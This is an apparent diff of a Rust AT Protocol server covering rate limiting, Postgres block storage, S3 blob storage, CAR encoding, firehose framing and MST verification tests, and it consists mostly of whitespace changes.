 pub async fn account_creation_rate_limit(
     ConnectInfo(addr): ConnectInfo<SocketAddr>,
     axum::extract::State(limiters): axum::extract::State<Arc<RateLimiters>>,
···
     next: Next,
 ) -> Response {
     let client_ip = extract_client_ip(request.headers(), Some(addr));
+
     if limiters.account_creation.check_key(&client_ip).is_err() {
         tracing::warn!(ip = %client_ip, "Account creation rate limit exceeded");
         return rate_limit_response();
     }
+
     next.run(request).await
 }
+
 #[cfg(test)]
 mod tests {
     use super::*;
+
     #[test]
     fn test_rate_limiters_creation() {
         let limiters = RateLimiters::new();
         assert!(limiters.login.check_key(&"test".to_string()).is_ok());
     }
+
     #[test]
     fn test_rate_limiter_exhaustion() {
         let limiter = RateLimiter::keyed(Quota::per_minute(NonZeroU32::new(2).unwrap()));
         let key = "test_ip".to_string();
+
         assert!(limiter.check_key(&key).is_ok());
         assert!(limiter.check_key(&key).is_ok());
         assert!(limiter.check_key(&key).is_err());
     }
+
     #[test]
     fn test_different_keys_have_separate_limits() {
         let limiter = RateLimiter::keyed(Quota::per_minute(NonZeroU32::new(1).unwrap()));
+
         assert!(limiter.check_key(&"ip1".to_string()).is_ok());
         assert!(limiter.check_key(&"ip1".to_string()).is_err());
         assert!(limiter.check_key(&"ip2".to_string()).is_ok());
     }
+
     #[test]
     fn test_builder_pattern() {
         let limiters = RateLimiters::new()
···
             .with_oauth_token_limit(60)
             .with_password_reset_limit(3)
             .with_account_creation_limit(5);
+
         assert!(limiters.login.check_key(&"test".to_string()).is_ok());
     }
 }

src/repo/mod.rs

···
 use multihash::Multihash;
 use sha2::{Digest, Sha256};
 use sqlx::PgPool;
+
 pub mod tracking;
+
 #[derive(Clone)]
 pub struct PostgresBlockStore {
     pool: PgPool,
 }
+
 impl PostgresBlockStore {
     pub fn new(pool: PgPool) -> Self {
         Self { pool }
     }
 }
+
 impl BlockStore for PostgresBlockStore {
     async fn get(&self, cid: &Cid) -> Result<Option<Bytes>, RepoError> {
         crate::metrics::record_block_operation("get");
···
             None => Ok(None),
         }
     }
+
     async fn put(&self, data: &[u8]) -> Result<Cid, RepoError> {
         crate::metrics::record_block_operation("put");
         let mut hasher = Sha256::new();
···
             .map_err(|e| RepoError::storage(e))?;
         Ok(cid)
     }
+
     async fn has(&self, cid: &Cid) -> Result<bool, RepoError> {
         crate::metrics::record_block_operation("has");
         let cid_bytes = cid.to_bytes();
···
             .map_err(|e| RepoError::storage(e))?;
         Ok(row.is_some())
     }
+
     async fn put_many(
         &self,
         blocks: impl IntoIterator<Item = (Cid, Bytes)> + Send,
···
         .map_err(|e| RepoError::storage(e))?;
         Ok(())
     }
+
     async fn get_many(&self, cids: &[Cid]) -> Result<Vec<Option<Bytes>>, RepoError> {
         if cids.is_empty() {
             return Ok(Vec::new());
···
             .collect();
         Ok(results)
     }
+
     async fn apply_commit(&self, commit: CommitData) -> Result<(), RepoError> {
         self.put_many(commit.blocks).await?;
         Ok(())

src/repo/tracking.rs

···
 use jacquard_repo::storage::BlockStore;
 use std::collections::HashSet;
 use std::sync::{Arc, Mutex};
+
 #[derive(Clone)]
 pub struct TrackingBlockStore {
     inner: PostgresBlockStore,
     written_cids: Arc<Mutex<Vec<Cid>>>,
     read_cids: Arc<Mutex<HashSet<Cid>>>,
 }
+
 impl TrackingBlockStore {
     pub fn new(store: PostgresBlockStore) -> Self {
         Self {
···
             read_cids: Arc::new(Mutex::new(HashSet::new())),
         }
     }
+
     pub fn get_written_cids(&self) -> Vec<Cid> {
         match self.written_cids.lock() {
             Ok(guard) => guard.clone(),
             Err(poisoned) => poisoned.into_inner().clone(),
         }
     }
+
     pub fn get_read_cids(&self) -> Vec<Cid> {
         match self.read_cids.lock() {
             Ok(guard) => guard.iter().cloned().collect(),
             Err(poisoned) => poisoned.into_inner().iter().cloned().collect(),
         }
     }
+
     pub fn get_all_relevant_cids(&self) -> Vec<Cid> {
         let written = self.get_written_cids();
         let read = self.get_read_cids();
···
         all.into_iter().collect()
     }
 }
+
 impl BlockStore for TrackingBlockStore {
     async fn get(&self, cid: &Cid) -> Result<Option<Bytes>, RepoError> {
         let result = self.inner.get(cid).await?;
···
         }
         Ok(result)
     }
+
     async fn put(&self, data: &[u8]) -> Result<Cid, RepoError> {
         let cid = self.inner.put(data).await?;
         match self.written_cids.lock() {
···
         }
         Ok(cid)
     }
+
     async fn has(&self, cid: &Cid) -> Result<bool, RepoError> {
         self.inner.has(cid).await
     }
+
     async fn put_many(
         &self,
         blocks: impl IntoIterator<Item = (Cid, Bytes)> + Send,
···
         }
         Ok(())
     }
+
     async fn get_many(&self, cids: &[Cid]) -> Result<Vec<Option<Bytes>>, RepoError> {
         let results = self.inner.get_many(cids).await?;
         for (cid, result) in cids.iter().zip(results.iter()) {
···
         }
         Ok(results)
     }
+
     async fn apply_commit(&self, commit: CommitData) -> Result<(), RepoError> {
         self.put_many(commit.blocks).await?;
         Ok(())

src/state.rs

···
 use sqlx::PgPool;
 use std::sync::Arc;
 use tokio::sync::broadcast;
+
 #[derive(Clone)]
 pub struct AppState {
     pub db: PgPool,
···
     pub cache: Arc<dyn Cache>,
     pub distributed_rate_limiter: Arc<dyn DistributedRateLimiter>,
 }
+
 pub enum RateLimitKind {
     Login,
     AccountCreation,
···
     AppPassword,
     EmailUpdate,
 }
+
 impl RateLimitKind {
     fn key_prefix(&self) -> &'static str {
         match self {
···
             Self::EmailUpdate => "email_update",
         }
     }
+
     fn limit_and_window_ms(&self) -> (u32, u64) {
         match self {
             Self::Login => (10, 60_000),
···
         }
     }
 }
+
 impl AppState {
     pub async fn new(db: PgPool) -> Self {
         AuthConfig::init();
+
         let block_store = PostgresBlockStore::new(db.clone());
         let blob_store = S3BlobStorage::new().await;
+
         let firehose_buffer_size: usize = std::env::var("FIREHOSE_BUFFER_SIZE")
             .ok()
             .and_then(|v| v.parse().ok())
             .unwrap_or(10000);
+
         let (firehose_tx, _) = broadcast::channel(firehose_buffer_size);
         let rate_limiters = Arc::new(RateLimiters::new());
         let circuit_breakers = Arc::new(CircuitBreakers::new());
         let (cache, distributed_rate_limiter) = create_cache().await;
+
         Self {
             db,
             block_store,
···
             distributed_rate_limiter,
         }
     }
+
     pub fn with_rate_limiters(mut self, rate_limiters: RateLimiters) -> Self {
         self.rate_limiters = Arc::new(rate_limiters);
         self
     }
+
     pub fn with_circuit_breakers(mut self, circuit_breakers: CircuitBreakers) -> Self {
         self.circuit_breakers = Arc::new(circuit_breakers);
         self
     }
+
     pub async fn check_rate_limit(&self, kind: RateLimitKind, client_ip: &str) -> bool {
         if std::env::var("DISABLE_RATE_LIMITING").is_ok() {
             return true;
         }
+
         let key = format!("{}:{}", kind.key_prefix(), client_ip);
         let limiter_name = kind.key_prefix();
         let (limit, window_ms) = kind.limit_and_window_ms();
+
         if !self.distributed_rate_limiter.check_rate_limit(&key, limit, window_ms).await {
             crate::metrics::record_rate_limit_rejection(limiter_name);
             return false;
         }
+
         let limiter = match kind {
             RateLimitKind::Login => &self.rate_limiters.login,
             RateLimitKind::AccountCreation => &self.rate_limiters.account_creation,
···
             RateLimitKind::AppPassword => &self.rate_limiters.app_password,
             RateLimitKind::EmailUpdate => &self.rate_limiters.email_update,
         };
+
         let ok = limiter.check_key(&client_ip.to_string()).is_ok();
         if !ok {
             crate::metrics::record_rate_limit_rejection(limiter_name);

src/storage/mod.rs

···
 use aws_sdk_s3::primitives::ByteStream;
 use bytes::Bytes;
 use thiserror::Error;
+
 #[derive(Error, Debug)]
 pub enum StorageError {
     #[error("IO error: {0}")]
···
     #[error("Other: {0}")]
     Other(String),
 }
+
 #[async_trait]
 pub trait BlobStorage: Send + Sync {
     async fn put(&self, key: &str, data: &[u8]) -> Result<(), StorageError>;
···
     async fn get_bytes(&self, key: &str) -> Result<Bytes, StorageError>;
     async fn delete(&self, key: &str) -> Result<(), StorageError>;
 }
+
 pub struct S3BlobStorage {
     client: Client,
     bucket: String,
 }
+
 impl S3BlobStorage {
     pub async fn new() -> Self {
-        // heheheh
         let region_provider = RegionProviderChain::default_provider().or_else("us-east-1");
+
         let config = aws_config::defaults(BehaviorVersion::latest())
             .region(region_provider)
             .load()
             .await;
+
         let bucket = std::env::var("S3_BUCKET").expect("S3_BUCKET must be set");
+
         let client = if let Ok(endpoint) = std::env::var("S3_ENDPOINT") {
             let s3_config = aws_sdk_s3::config::Builder::from(&config)
                 .endpoint_url(endpoint)
···
         } else {
             Client::new(&config)
         };
+
         Self { client, bucket }
     }
 }
+
 #[async_trait]
 impl BlobStorage for S3BlobStorage {
     async fn put(&self, key: &str, data: &[u8]) -> Result<(), StorageError> {
         self.put_bytes(key, Bytes::copy_from_slice(data)).await
     }
+
     async fn put_bytes(&self, key: &str, data: Bytes) -> Result<(), StorageError> {
         let result = self.client
             .put_object()
···
             .send()
             .await
             .map_err(|e| StorageError::S3(e.to_string()));
+
         match &result {
             Ok(_) => crate::metrics::record_s3_operation("put", "success"),
             Err(_) => crate::metrics::record_s3_operation("put", "error"),
         }
+
         result?;
         Ok(())
     }
+
     async fn get(&self, key: &str) -> Result<Vec<u8>, StorageError> {
         self.get_bytes(key).await.map(|b| b.to_vec())
     }
+
     async fn get_bytes(&self, key: &str) -> Result<Bytes, StorageError> {
         let resp = self
             .client
···
                 crate::metrics::record_s3_operation("get", "error");
                 StorageError::S3(e.to_string())
             })?;
+
         let data = resp
             .body
             .collect()
···
                 StorageError::S3(e.to_string())
             })?
             .into_bytes();
+
         crate::metrics::record_s3_operation("get", "success");
         Ok(data)
     }
+
     async fn delete(&self, key: &str) -> Result<(), StorageError> {
         let result = self.client
             .delete_object()
···
             .send()
             .await
             .map_err(|e| StorageError::S3(e.to_string()));
+
         match &result {
             Ok(_) => crate::metrics::record_s3_operation("delete", "success"),
             Err(_) => crate::metrics::record_s3_operation("delete", "error"),
         }
+
         result?;
         Ok(())
     }

src/sync/blob.rs

···
 use serde::{Deserialize, Serialize};
 use serde_json::json;
 use tracing::error;
+
 #[derive(Deserialize)]
 pub struct GetBlobParams {
     pub did: String,
     pub cid: String,
 }
+
 pub async fn get_blob(
     State(state): State<AppState>,
     Query(params): Query<GetBlobParams>,
···
         }
     }
 }
+
 #[derive(Deserialize)]
 pub struct ListBlobsParams {
     pub did: String,
···
     pub limit: Option<i64>,
     pub cursor: Option<String>,
 }
+
 #[derive(Serialize)]
 pub struct ListBlobsOutput {
     pub cursor: Option<String>,
     pub cids: Vec<String>,
 }
+
 pub async fn list_blobs(
     State(state): State<AppState>,
     Query(params): Query<ListBlobsParams>,

src/sync/car.rs

···
 use cid::Cid;
 use iroh_car::CarHeader;
 use std::io::Write;
+
 pub fn write_varint<W: Write>(mut writer: W, mut value: u64) -> std::io::Result<()> {
     loop {
         let mut byte = (value & 0x7F) as u8;
···
     }
     Ok(())
 }
+
 pub fn ld_write<W: Write>(mut writer: W, data: &[u8]) -> std::io::Result<()> {
     write_varint(&mut writer, data.len() as u64)?;
     writer.write_all(data)?;
     Ok(())
 }
+
 pub fn encode_car_header(root_cid: &Cid) -> Result<Vec<u8>, String> {
     let header = CarHeader::new_v1(vec![root_cid.clone()]);
     let header_cbor = header.encode().map_err(|e| format!("Failed to encode CAR header: {:?}", e))?;

src/sync/commit.rs

···
 use serde_json::json;
 use std::str::FromStr;
 use tracing::error;
+
 async fn get_rev_from_commit(state: &AppState, cid_str: &str) -> Option<String> {
     let cid = Cid::from_str(cid_str).ok()?;
     let block = state.block_store.get(&cid).await.ok()??;
     let commit = Commit::from_cbor(&block).ok()?;
     Some(commit.rev().to_string())
 }
+
 #[derive(Deserialize)]
 pub struct GetLatestCommitParams {
     pub did: String,
 }
+
 #[derive(Serialize)]
 pub struct GetLatestCommitOutput {
     pub cid: String,
     pub rev: String,
 }
+
 pub async fn get_latest_commit(
     State(state): State<AppState>,
     Query(params): Query<GetLatestCommitParams>,
···
         }
     }
 }
+
 #[derive(Deserialize)]
 pub struct ListReposParams {
     pub limit: Option<i64>,
     pub cursor: Option<String>,
 }
+
 #[derive(Serialize)]
 #[serde(rename_all = "camelCase")]
 pub struct RepoInfo {
···
     pub rev: String,
     pub active: bool,
 }
+
 #[derive(Serialize)]
 pub struct ListReposOutput {
     pub cursor: Option<String>,
     pub repos: Vec<RepoInfo>,
 }
+
 pub async fn list_repos(
     State(state): State<AppState>,
     Query(params): Query<ListReposParams>,
···
         }
     }
 }
+
 #[derive(Deserialize)]
 pub struct GetRepoStatusParams {
     pub did: String,
 }
+
 #[derive(Serialize)]
 pub struct GetRepoStatusOutput {
     pub did: String,
     pub active: bool,
     pub rev: Option<String>,
 }
+
 pub async fn get_repo_status(
     State(state): State<AppState>,
     Query(params): Query<GetRepoStatusParams>,

src/sync/crawl.rs

···
 use serde::Deserialize;
 use serde_json::json;
 use tracing::info;
+
 #[derive(Deserialize)]
 pub struct NotifyOfUpdateParams {
     pub hostname: String,
 }
+
 pub async fn notify_of_update(
     State(_state): State<AppState>,
     Query(params): Query<NotifyOfUpdateParams>,
···
     info!("Received notifyOfUpdate from hostname: {}", params.hostname);
     (StatusCode::OK, Json(json!({}))).into_response()
 }
+
 #[derive(Deserialize)]
 pub struct RequestCrawlInput {
     pub hostname: String,
 }
+
 pub async fn request_crawl(
     State(_state): State<AppState>,
     Json(input): Json<RequestCrawlInput>,

src/sync/deprecated.rs

···
 use std::io::Write;
 use std::str::FromStr;
 use tracing::error;
+
 const MAX_REPO_BLOCKS_TRAVERSAL: usize = 20_000;
+
 #[derive(Deserialize)]
 pub struct GetHeadParams {
     pub did: String,
 }
+
 #[derive(Serialize)]
 pub struct GetHeadOutput {
     pub root: String,
 }
+
 pub async fn get_head(
     State(state): State<AppState>,
     Query(params): Query<GetHeadParams>,
···
         }
     }
 }
+
 #[derive(Deserialize)]
 pub struct GetCheckoutParams {
     pub did: String,
 }
+
 pub async fn get_checkout(
     State(state): State<AppState>,
     Query(params): Query<GetCheckoutParams>,
···
     )
         .into_response()
 }
+
 fn extract_links_ipld(value: &Ipld, stack: &mut Vec<Cid>) {
     match value {
         Ipld::Link(cid) => {

src/sync/firehose.rs

···
 use serde::{Deserialize, Serialize};
 use serde_json::Value;
 use chrono::{DateTime, Utc};
+
 #[derive(Debug, Clone, Serialize, Deserialize)]
 pub struct SequencedEvent {
     pub seq: i64,

src/sync/frame.rs

···
 use serde::{Deserialize, Serialize};
 use std::str::FromStr;
 use crate::sync::firehose::SequencedEvent;
+
 #[derive(Debug, Serialize, Deserialize)]
 pub struct FrameHeader {
     pub op: i64,
     pub t: String,
 }
+
 #[derive(Debug, Serialize, Deserialize)]
 pub struct CommitFrame {
     pub seq: i64,
···
     #[serde(rename = "prevData", skip_serializing_if = "Option::is_none")]
     pub prev_data: Option<Cid>,
 }
+
 #[derive(Debug, Clone, Serialize, Deserialize)]
 struct JsonRepoOp {
     action: String,
···
     cid: Option<String>,
     prev: Option<String>,
 }
+
 #[derive(Debug, Serialize, Deserialize)]
 pub struct RepoOp {
     pub action: String,
···
     #[serde(skip_serializing_if = "Option::is_none")]
     pub prev: Option<Cid>,
 }
+
 #[derive(Debug, Serialize, Deserialize)]
 pub struct IdentityFrame {
     pub did: String,
···
     pub seq: i64,
     pub time: String,
 }
+
 #[derive(Debug, Serialize, Deserialize)]
 pub struct AccountFrame {
     pub did: String,
···
     pub seq: i64,
     pub time: String,
 }
+
 #[derive(Debug, Serialize, Deserialize)]
 pub struct SyncFrame {
     pub did: String,
···
     pub seq: i64,
     pub time: String,
 }
+
 pub struct CommitFrameBuilder {
     pub seq: i64,
     pub did: String,
···
     pub blobs: Vec<String>,
     pub time: chrono::DateTime<chrono::Utc>,
 }
+
 impl CommitFrameBuilder {
     pub fn build(self) -> Result<CommitFrame, &'static str> {
         let commit_cid = Cid::from_str(&self.commit_cid_str)
···
         })
     }
 }
+
 fn placeholder_rev() -> String {
     use jacquard::types::{integer::LimitedU32, string::Tid};
     Tid::now(LimitedU32::MIN).to_string()
 }
+
 fn format_atproto_time(dt: chrono::DateTime<chrono::Utc>) -> String {
     dt.format("%Y-%m-%dT%H:%M:%S%.3fZ").to_string()
 }
+
 impl TryFrom<SequencedEvent> for CommitFrame {
     type Error = &'static str;
+
     fn try_from(event: SequencedEvent) -> Result<Self, Self::Error> {
         let builder = CommitFrameBuilder {
             seq: event.seq,

src/sync/import.rs

···
 use thiserror::Error;
 use tracing::debug;
 use uuid::Uuid;
+
 #[derive(Error, Debug)]
 pub enum ImportError {
     #[error("CAR parsing error: {0}")]
···
     #[error("DID mismatch: CAR is for {car_did}, but authenticated as {auth_did}")]
     DidMismatch { car_did: String, auth_did: String },
 }
+
 #[derive(Debug, Clone)]
 pub struct BlobRef {
     pub cid: String,
     pub mime_type: Option<String>,
 }
+
 pub async fn parse_car(data: &[u8]) -> Result<(Cid, HashMap<Cid, Bytes>), ImportError> {
     let cursor = Cursor::new(data);
     let mut reader = CarReader::new(cursor)
···
     }
     Ok((root, blocks))
 }
+
 pub fn find_blob_refs_ipld(value: &Ipld, depth: usize) -> Vec<BlobRef> {
     if depth > 32 {
         return vec![];
···
         _ => vec![],
     }
 }
+
 pub fn find_blob_refs(value: &JsonValue, depth: usize) -> Vec<BlobRef> {
     if depth > 32 {
         return vec![];
···
         _ => vec![],
     }
 }
+
 pub fn extract_links(value: &Ipld, links: &mut Vec<Cid>) {
     match value {
         Ipld::Link(cid) => {
···
         _ => {}
     }
 }
+
 #[derive(Debug)]
 pub struct ImportedRecord {
     pub collection: String,
···
     pub cid: Cid,
     pub blob_refs: Vec<BlobRef>,
 }
+
 pub fn walk_mst(
     blocks: &HashMap<Cid, Bytes>,
     root_cid: &Cid,
···
     }
     Ok(records)
 }
+
 pub struct CommitInfo {
     pub rev: Option<String>,
     pub prev: Option<String>,
 }
+
 fn extract_commit_info(commit: &Ipld) -> Result<(Cid, CommitInfo), ImportError> {
     let obj = match commit {
         Ipld::Map(m) => m,
···
     });
     Ok((data_cid, CommitInfo { rev, prev }))
 }
+
 pub async fn apply_import(
     db: &PgPool,
     user_id: Uuid,
···
     );
     Ok(records)
 }
+
 #[cfg(test)]
 mod tests {
     use super::*;
+
     #[test]
     fn test_find_blob_refs() {
         let record = serde_json::json!({
···
         );
         assert_eq!(blob_refs[0].mime_type, Some("image/jpeg".to_string()));
     }
+
     #[test]
     fn test_find_blob_refs_no_blobs() {
         let record = serde_json::json!({
···
         let blob_refs = find_blob_refs(&record, 0);
         assert!(blob_refs.is_empty());
     }
+
     #[test]
     fn test_find_blob_refs_depth_limit() {
         fn deeply_nested(depth: usize) -> JsonValue {

src/sync/listener.rs

···
 use sqlx::postgres::PgListener;
 use std::sync::atomic::{AtomicI64, Ordering};
 use tracing::{debug, error, info, warn};
+
 static LAST_BROADCAST_SEQ: AtomicI64 = AtomicI64::new(0);
+
 pub async fn start_sequencer_listener(state: AppState) {
     let initial_seq = sqlx::query_scalar!("SELECT COALESCE(MAX(seq), 0) as max FROM repo_seq")
         .fetch_one(&state.db)
···
         }
     });
 }
+
 async fn listen_loop(state: AppState) -> anyhow::Result<()> {
     let mut listener = PgListener::connect_with(&state.db).await?;
     listener.listen("repo_updates").await?;

src/sync/mod.rs

···
 pub mod subscribe_repos;
 pub mod util;
 pub mod verify;
+
 pub use blob::{get_blob, list_blobs};
 pub use commit::{get_latest_commit, get_repo_status, list_repos};
 pub use crawl::{notify_of_update, request_crawl};

src/sync/repo.rs

···
 use std::io::Write;
 use std::str::FromStr;
 use tracing::error;
+
 const MAX_REPO_BLOCKS_TRAVERSAL: usize = 20_000;
+
 #[derive(Deserialize)]
 pub struct GetBlocksQuery {
     pub did: String,
     pub cids: String,
 }
+
 pub async fn get_blocks(
     State(state): State<AppState>,
     Query(query): Query<GetBlocksQuery>,
···
     )
         .into_response()
 }
+
 #[derive(Deserialize)]
 pub struct GetRepoQuery {
     pub did: String,
     pub since: Option<String>,
 }
+
 pub async fn get_repo(
     State(state): State<AppState>,
     Query(query): Query<GetRepoQuery>,
···
     )
         .into_response()
 }
+
 fn extract_links_ipld(value: &Ipld, stack: &mut Vec<Cid>) {
     match value {
         Ipld::Link(cid) => {
···
         _ => {}
     }
 }
+
 #[derive(Deserialize)]
 pub struct GetRecordQuery {
     pub did: String,
     pub collection: String,
     pub rkey: String,
 }
+
 pub async fn get_record(
     State(state): State<AppState>,
     Query(query): Query<GetRecordQuery>,
···
     use jacquard_repo::mst::Mst;
     use std::collections::BTreeMap;
     use std::sync::Arc;
+
     let repo_row = sqlx::query!(
         r#"
         SELECT r.repo_root_cid

src/sync/subscribe_repos.rs

···
 use std::sync::atomic::{AtomicUsize, Ordering};
 use tokio::sync::broadcast::error::RecvError;
 use tracing::{error, info, warn};
+
 const BACKFILL_BATCH_SIZE: i64 = 1000;
+
 static SUBSCRIBER_COUNT: AtomicUsize = AtomicUsize::new(0);
+
 #[derive(Deserialize)]
 pub struct SubscribeReposParams {
     pub cursor: Option<i64>,
 }
+
 #[axum::debug_handler]
 pub async fn subscribe_repos(
     ws: WebSocketUpgrade,
···
 ) -> Response {
     ws.on_upgrade(move |socket| handle_socket(socket, state, params))
 }
+
 async fn send_event(
     socket: &mut WebSocket,
     state: &AppState,
···
     socket.send(Message::Binary(bytes.into())).await?;
     Ok(())
 }
+
 pub fn get_subscriber_count() -> usize {
     SUBSCRIBER_COUNT.load(Ordering::SeqCst)
 }
+
 async fn handle_socket(mut socket: WebSocket, state: AppState, params: SubscribeReposParams) {
     let count = SUBSCRIBER_COUNT.fetch_add(1, Ordering::SeqCst) + 1;
     crate::metrics::set_firehose_subscribers(count);
···
     crate::metrics::set_firehose_subscribers(count);
     info!(subscribers = count, "Firehose subscriber disconnected");
 }
+
 async fn handle_socket_inner(socket: &mut WebSocket, state: &AppState, params: SubscribeReposParams) -> Result<(), ()> {
     if let Some(cursor) = params.cursor {
         let mut current_cursor = cursor;

src/sync/util.rs

···
 use std::io::Cursor;
 use std::str::FromStr;
 use tokio::io::AsyncWriteExt;
+
 fn extract_rev_from_commit_bytes(commit_bytes: &[u8]) -> Option<String> {
     Commit::from_cbor(commit_bytes).ok().map(|c| c.rev().to_string())
 }
+
 async fn write_car_blocks(
     commit_cid: Cid,
     commit_bytes: Option<Bytes>,
···
         .map_err(|e| anyhow::anyhow!("flushing CAR buffer: {}", e))?;
     Ok(buffer.into_inner())
 }
+
 fn format_atproto_time(dt: chrono::DateTime<chrono::Utc>) -> String {
     dt.format("%Y-%m-%dT%H:%M:%S%.3fZ").to_string()
 }
+
 fn format_identity_event(event: &SequencedEvent) -> Result<Vec<u8>, anyhow::Error> {
     let frame = IdentityFrame {
         did: event.did.clone(),
···
     serde_ipld_dagcbor::to_writer(&mut bytes, &frame)?;
     Ok(bytes)
 }
+
 fn format_account_event(event: &SequencedEvent) -> Result<Vec<u8>, anyhow::Error> {
     let frame = AccountFrame {
         did: event.did.clone(),
···
     serde_ipld_dagcbor::to_writer(&mut bytes, &frame)?;
     Ok(bytes)
 }
+
 async fn format_sync_event(
     state: &AppState,
     event: &SequencedEvent,
···
     serde_ipld_dagcbor::to_writer(&mut bytes, &frame)?;
     Ok(bytes)
 }
+
 pub async fn format_event_for_sending(
     state: &AppState,
     event: SequencedEvent,
···
     serde_ipld_dagcbor::to_writer(&mut bytes, &frame)?;
     Ok(bytes)
 }
+
 pub async fn prefetch_blocks_for_events(
     state: &AppState,
     events: &[SequencedEvent],
···
     }
     Ok(blocks_map)
 }
+
 fn format_sync_event_with_prefetched(
     event: &SequencedEvent,
     prefetched: &HashMap<Cid, Bytes>,
···
     serde_ipld_dagcbor::to_writer(&mut bytes, &frame)?;
     Ok(bytes)
 }
+
 pub async fn format_event_with_prefetched_blocks(
     event: SequencedEvent,
     prefetched: &HashMap<Cid, Bytes>,

src/sync/verify.rs

···
 use std::collections::HashMap;
 use thiserror::Error;
 use tracing::{debug, warn};
+
 #[derive(Error, Debug)]
 pub enum VerifyError {
     #[error("Invalid commit: {0}")]
···
     #[error("Invalid CBOR: {0}")]
     InvalidCbor(String),
 }
+
 pub struct CarVerifier {
     http_client: Client,
 }
+
 impl Default for CarVerifier {
     fn default() -> Self {
         Self::new()
     }
 }
+
 impl CarVerifier {
     pub fn new() -> Self {
         Self {
···
                 .unwrap_or_default(),
         }
     }
+
     pub async fn verify_car(
         &self,
         expected_did: &str,
···
             prev: commit.prev().cloned(),
         })
     }
+
     async fn resolve_did_signing_key(&self, did: &str) -> Result<PublicKey<'static>, VerifyError> {
         let did_doc = self.resolve_did_document(did).await?;
         did_doc
···
             .map_err(|e| VerifyError::DidResolutionFailed(e.to_string()))?
             .ok_or(VerifyError::NoSigningKey)
     }
+
     async fn resolve_did_document(&self, did: &str) -> Result<DidDocument<'static>, VerifyError> {
         if did.starts_with("did:plc:") {
             self.resolve_plc_did(did).await
···
             )))
         }
     }
+
     async fn resolve_plc_did(&self, did: &str) -> Result<DidDocument<'static>, VerifyError> {
         let plc_url = std::env::var("PLC_DIRECTORY_URL")
             .unwrap_or_else(|_| "https://plc.directory".to_string());
···
             .map_err(|e| VerifyError::DidResolutionFailed(e.to_string()))?;
         Ok(doc.into_static())
     }
+
     async fn resolve_web_did(&self, did: &str) -> Result<DidDocument<'static>, VerifyError> {
         let domain = did
             .strip_prefix("did:web:")
···
             .map_err(|e| VerifyError::DidResolutionFailed(e.to_string()))?;
         Ok(doc.into_static())
     }
+
     fn verify_mst_structure(
         &self,
         data_cid: &Cid,
         blocks: &HashMap<Cid, Bytes>,
     ) -> Result<(), VerifyError> {
         use ipld_core::ipld::Ipld;
+
         let mut stack = vec![*data_cid];
         let mut visited = std::collections::HashSet::new();
         let mut node_count = 0;
···
         Ok(())
     }
 }
+
 #[derive(Debug, Clone)]
 pub struct VerifiedCar {
     pub did: String,
···
     pub data_cid: Cid,
     pub prev: Option<Cid>,
 }
+
 #[cfg(test)]
 #[path = "verify_tests.rs"]
 mod tests;

src/sync/verify_tests.rs

···
     use cid::Cid;
     use sha2::{Digest, Sha256};
     use std::collections::HashMap;
+
     fn make_cid(data: &[u8]) -> Cid {
         let mut hasher = Sha256::new();
         hasher.update(data);
···
         let multihash = multihash::Multihash::wrap(0x12, &hash).unwrap();
         Cid::new_v1(0x71, multihash)
     }
+
     #[test]
     fn test_verifier_creation() {
         let _verifier = CarVerifier::new();
     }
+
     #[test]
     fn test_verify_error_display() {
         let err = VerifyError::DidMismatch {
···
         let err = VerifyError::MstValidationFailed("test error".to_string());
         assert!(err.to_string().contains("test error"));
     }
+
     #[test]
     fn test_mst_validation_missing_root_block() {
         let verifier = CarVerifier::new();
···
         let err = result.unwrap_err();
         assert!(matches!(err, VerifyError::BlockNotFound(_)));
     }
+
     #[test]
     fn test_mst_validation_invalid_cbor() {
         let verifier = CarVerifier::new();
···
         let err = result.unwrap_err();
         assert!(matches!(err, VerifyError::InvalidCbor(_)));
     }
+
     #[test]
     fn test_mst_validation_empty_node() {
         let verifier = CarVerifier::new();
···
         let result = verifier.verify_mst_structure(&cid, &blocks);
         assert!(result.is_ok());
     }
+
     #[test]
     fn test_mst_validation_missing_left_pointer() {
         use ipld_core::ipld::Ipld;
+
         let verifier = CarVerifier::new();
         let missing_left_cid = make_cid(b"missing left");
         let node = Ipld::Map(std::collections::BTreeMap::from([
···
         assert!(matches!(err, VerifyError::BlockNotFound(_)));
         assert!(err.to_string().contains("left pointer"));
     }
+
     #[test]
     fn test_mst_validation_missing_subtree() {
         use ipld_core::ipld::Ipld;
+
         let verifier = CarVerifier::new();
         let missing_subtree_cid = make_cid(b"missing subtree");
         let record_cid = make_cid(b"record");
···
         assert!(matches!(err, VerifyError::BlockNotFound(_)));
         assert!(err.to_string().contains("subtree"));
     }
+
     #[test]
     fn test_mst_validation_unsorted_keys() {
         use ipld_core::ipld::Ipld;
+
         let verifier = CarVerifier::new();
         let record_cid = make_cid(b"record");
         let entry1 = Ipld::Map(std::collections::BTreeMap::from([
···
         assert!(matches!(err, VerifyError::MstValidationFailed(_)));
         assert!(err.to_string().contains("sorted"));
     }
+
     #[test]
     fn test_mst_validation_sorted_keys_ok() {
         use ipld_core::ipld::Ipld;
+
         let verifier = CarVerifier::new();
         let record_cid = make_cid(b"record");
         let entry1 = Ipld::Map(std::collections::BTreeMap::from([
···
         let result = verifier.verify_mst_structure(&cid, &blocks);
         assert!(result.is_ok());
     }
+
     #[test]
     fn test_mst_validation_with_valid_left_pointer() {
         use ipld_core::ipld::Ipld;
+
         let verifier = CarVerifier::new();
         let left_node = Ipld::Map(std::collections::BTreeMap::from([
             ("e".to_string(), Ipld::List(vec![])),
···
         let result = verifier.verify_mst_structure(&root_cid, &blocks);
         assert!(result.is_ok());
     }
+
     #[test]
     fn test_mst_validation_cycle_detection() {
         let verifier = CarVerifier::new();
···
         let result = verifier.verify_mst_structure(&cid, &blocks);
         assert!(result.is_ok());
     }
+
     #[tokio::test]
     async fn test_unsupported_did_method() {
         let verifier = CarVerifier::new();
···
         assert!(matches!(err, VerifyError::DidResolutionFailed(_)));
         assert!(err.to_string().contains("Unsupported"));
     }
+
     #[test]
     fn test_mst_validation_with_prefix_compression() {
         use ipld_core::ipld::Ipld;
+
         let verifier = CarVerifier::new();
         let record_cid = make_cid(b"record");
         let entry1 = Ipld::Map(std::collections::BTreeMap::from([
···
         let result = verifier.verify_mst_structure(&cid, &blocks);
         assert!(result.is_ok(), "Prefix-compressed keys should be validated correctly");
     }
+
     #[test]
     fn test_mst_validation_prefix_compression_unsorted() {
         use ipld_core::ipld::Ipld;
+
         let verifier = CarVerifier::new();
         let record_cid = make_cid(b"record");
         let entry1 = Ipld::Map(std::collections::BTreeMap::from([

src/util.rs

···
 use rand::Rng;
 use sqlx::PgPool;
 use uuid::Uuid;
+
 const BASE32_ALPHABET: &str = "abcdefghijklmnopqrstuvwxyz234567";
+
